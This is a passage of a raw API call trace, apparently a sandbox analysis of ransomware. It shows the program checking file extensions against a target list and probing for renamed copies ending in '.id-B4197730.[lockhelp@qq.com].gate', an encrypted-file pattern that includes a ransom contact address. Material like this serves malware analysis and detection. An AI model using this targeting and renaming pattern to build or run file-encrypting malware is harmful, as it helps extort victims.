lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0274.472] lstrlenW (lpString=".7z") returned 3 [0274.472] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0274.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0274.472] lstrlenW (lpString=".dbf") returned 4 [0274.472] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0274.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0274.472] lstrlenW (lpString=".1cd") returned 4 [0274.472] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0274.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0274.473] lstrlenW (lpString=".jpg") returned 4 [0274.473] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0274.473] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0274.473] lstrlenW (lpString="base_heb.xml") returned 12 [0274.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0275.575] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=738) returned 1 [0275.575] CloseHandle (hObject=0x3b0) returned 1 [0275.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0275.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0275.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0275.575] lstrlenW (lpString=".doc") returned 4 [0275.575] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.575] lstrlenW (lpString=".docx") returned 5 [0275.575] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0275.575] lstrlenW (lpString=".pdf") returned 4 [0275.575] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.575] lstrlenW (lpString=".xls") returned 4 [0275.575] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.575] lstrlenW (lpString=".xlsx") returned 5 [0275.575] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0275.576] lstrlenW (lpString=".ppt") returned 4 [0275.576] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0275.576] lstrlenW (lpString=".zip") returned 4 [0275.576] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.576] lstrlenW (lpString=".rar") returned 4 [0275.576] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.576] lstrlenW (lpString=".bz2") returned 4 [0275.576] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.576] lstrlenW (lpString=".7z") returned 3 [0275.576] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0275.576] lstrlenW (lpString=".dbf") returned 4 [0275.576] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0275.576] lstrlenW (lpString=".1cd") returned 4 [0275.576] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0275.576] lstrlenW (lpString=".jpg") returned 4 [0275.576] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0275.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0275.576] lstrlenW (lpString=".doc") returned 4 [0275.576] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.576] lstrlenW (lpString=".docx") returned 5 [0275.576] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0275.576] lstrlenW (lpString=".pdf") returned 4 [0275.576] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.577] lstrlenW (lpString=".xls") returned 4 [0275.577] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.577] lstrlenW (lpString=".xlsx") returned 5 [0275.577] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0275.577] lstrlenW (lpString=".ppt") returned 4 [0275.577] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0275.577] lstrlenW (lpString=".zip") returned 4 [0275.577] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.577] lstrlenW (lpString=".rar") returned 4 [0275.577] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.577] lstrlenW (lpString=".bz2") returned 4 [0275.577] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.577] lstrlenW (lpString=".7z") returned 3 [0275.577] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0275.577] lstrlenW (lpString=".dbf") returned 4 [0275.577] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0275.577] lstrlenW (lpString=".1cd") returned 4 [0275.577] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0275.577] lstrlenW (lpString=".jpg") returned 4 [0275.577] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.578] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0275.578] lstrlenW (lpString="ipsar.xml") returned 9 [0275.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0275.740] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2418) returned 1 [0275.740] CloseHandle (hObject=0x3b4) returned 1 [0275.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0275.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0275.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0275.741] lstrlenW (lpString=".doc") returned 4 [0275.741] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.741] lstrlenW (lpString=".docx") returned 5 [0275.741] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0275.741] lstrlenW (lpString=".pdf") returned 4 [0275.741] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.741] lstrlenW (lpString=".xls") returned 4 [0275.741] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.741] lstrlenW (lpString=".xlsx") returned 5 [0275.741] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0275.741] lstrlenW (lpString=".ppt") returned 4 [0275.741] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0275.741] lstrlenW (lpString=".zip") returned 4 [0275.741] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.741] lstrlenW (lpString=".rar") returned 4 [0275.741] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.741] lstrlenW (lpString=".bz2") returned 4 [0275.741] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.741] lstrlenW (lpString=".7z") returned 3 [0275.741] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0275.741] lstrlenW (lpString=".dbf") returned 4 [0275.741] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0275.741] lstrlenW (lpString=".1cd") returned 4 [0275.741] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0275.741] lstrlenW (lpString=".jpg") returned 4 [0275.742] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0275.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0275.742] lstrlenW (lpString=".doc") returned 4 [0275.742] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.742] lstrlenW (lpString=".docx") returned 5 [0275.742] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0275.742] lstrlenW (lpString=".pdf") returned 4 [0275.742] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.742] lstrlenW (lpString=".xls") returned 4 [0275.742] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.742] lstrlenW (lpString=".xlsx") returned 5 [0275.742] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0275.742] lstrlenW (lpString=".ppt") returned 4 [0275.742] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0275.742] lstrlenW (lpString=".zip") returned 4 [0275.742] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.742] lstrlenW (lpString=".rar") returned 4 [0275.742] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.742] lstrlenW (lpString=".bz2") returned 4 [0275.742] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.742] lstrlenW (lpString=".7z") returned 3 [0275.742] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0275.742] lstrlenW (lpString=".dbf") returned 4 [0275.742] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0275.742] lstrlenW (lpString=".1cd") returned 4 [0275.742] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0275.743] lstrlenW (lpString=".jpg") returned 4 [0275.743] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.743] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0275.743] lstrlenW (lpString="ipsfra.xml") returned 10 [0275.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0275.898] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2628) returned 1 [0275.898] CloseHandle (hObject=0x3b4) returned 1 [0275.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0275.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0275.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0275.908] lstrlenW (lpString=".doc") returned 4 [0275.908] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.909] lstrlenW (lpString=".docx") returned 5 [0275.909] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0275.909] lstrlenW (lpString=".pdf") returned 4 [0275.909] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.909] lstrlenW (lpString=".xls") returned 4 [0275.909] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.909] lstrlenW (lpString=".xlsx") returned 5 [0275.909] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0275.909] lstrlenW (lpString=".ppt") returned 4 [0275.909] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0275.909] lstrlenW (lpString=".zip") returned 4 [0275.909] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.909] lstrlenW (lpString=".rar") returned 4 [0275.909] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.909] lstrlenW (lpString=".bz2") returned 4 [0275.909] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.909] lstrlenW (lpString=".7z") returned 3 [0275.909] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0275.909] lstrlenW (lpString=".dbf") returned 4 [0275.909] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0275.909] lstrlenW (lpString=".1cd") returned 4 [0275.909] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0275.909] lstrlenW (lpString=".jpg") returned 4 [0275.909] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0275.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0275.909] lstrlenW (lpString=".doc") returned 4 [0275.909] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.909] lstrlenW (lpString=".docx") returned 5 [0275.910] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0275.910] lstrlenW (lpString=".pdf") returned 4 [0275.910] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.910] lstrlenW (lpString=".xls") returned 4 [0275.910] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.910] lstrlenW (lpString=".xlsx") returned 5 [0275.910] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0275.910] lstrlenW (lpString=".ppt") returned 4 [0275.910] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0275.910] lstrlenW (lpString=".zip") returned 4 [0275.910] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.910] lstrlenW (lpString=".rar") returned 4 [0275.910] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.910] lstrlenW (lpString=".bz2") returned 4 [0275.910] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.910] lstrlenW (lpString=".7z") returned 3 [0275.910] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0275.910] lstrlenW (lpString=".dbf") returned 4 [0275.910] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0275.910] lstrlenW (lpString=".1cd") returned 4 [0275.910] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0275.910] lstrlenW (lpString=".jpg") returned 4 [0275.910] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.910] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0275.910] lstrlenW (lpString="ipssrl.xml") returned 10 [0275.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0275.968] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2596) returned 1 [0275.968] CloseHandle (hObject=0x3b4) returned 1 [0275.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0275.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0275.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0275.968] lstrlenW (lpString=".doc") returned 4 [0275.968] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.968] lstrlenW (lpString=".docx") returned 5 [0275.968] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0275.968] lstrlenW (lpString=".pdf") returned 4 [0275.968] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.968] lstrlenW (lpString=".xls") returned 4 [0275.969] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.969] lstrlenW (lpString=".xlsx") returned 5 [0275.969] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0275.969] lstrlenW (lpString=".ppt") returned 4 [0275.969] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0275.969] lstrlenW (lpString=".zip") returned 4 [0275.969] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.969] lstrlenW (lpString=".rar") returned 4 [0275.969] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.969] lstrlenW (lpString=".bz2") returned 4 [0275.969] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.969] lstrlenW (lpString=".7z") returned 3 [0275.969] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0275.969] lstrlenW (lpString=".dbf") returned 4 [0275.969] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0275.969] lstrlenW (lpString=".1cd") returned 4 [0275.969] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0275.969] lstrlenW (lpString=".jpg") returned 4 [0275.969] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0275.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0275.969] lstrlenW (lpString=".doc") returned 4 [0275.969] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.969] lstrlenW (lpString=".docx") returned 5 [0275.969] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0275.969] lstrlenW (lpString=".pdf") returned 4 [0275.969] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.969] lstrlenW (lpString=".xls") returned 4 [0275.970] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.970] lstrlenW (lpString=".xlsx") returned 5 [0275.970] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0275.970] lstrlenW (lpString=".ppt") returned 4 [0275.970] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0275.970] lstrlenW (lpString=".zip") returned 4 [0275.970] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.970] lstrlenW (lpString=".rar") returned 4 [0275.970] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.970] lstrlenW (lpString=".bz2") returned 4 [0275.970] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.970] lstrlenW (lpString=".7z") returned 3 [0275.970] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0275.970] lstrlenW (lpString=".dbf") returned 4 [0275.970] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0275.970] lstrlenW (lpString=".1cd") returned 4 [0275.970] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0275.970] lstrlenW (lpString=".jpg") returned 4 [0275.970] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.970] lstrcmpiW (lpString1=".jpg", lpString2=".gate") returned 1 [0275.970] lstrlenW (lpString="Garden.jpg") returned 10 [0275.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0276.028] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=23871) returned 1 [0276.028] CloseHandle (hObject=0x398) returned 1 [0276.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0276.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0276.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0276.028] lstrlenW (lpString=".doc") returned 4 [0276.029] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0276.029] lstrlenW (lpString=".docx") returned 5 [0276.029] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0276.029] lstrlenW (lpString=".pdf") returned 4 [0276.029] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0276.029] lstrlenW (lpString=".xls") returned 4 [0276.029] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0276.029] lstrlenW (lpString=".xlsx") returned 5 [0276.029] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0276.029] lstrlenW (lpString=".ppt") returned 4 [0276.029] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0276.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0276.029] lstrlenW (lpString=".zip") returned 4 [0276.029] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0276.029] lstrlenW (lpString=".rar") returned 4 [0276.029] 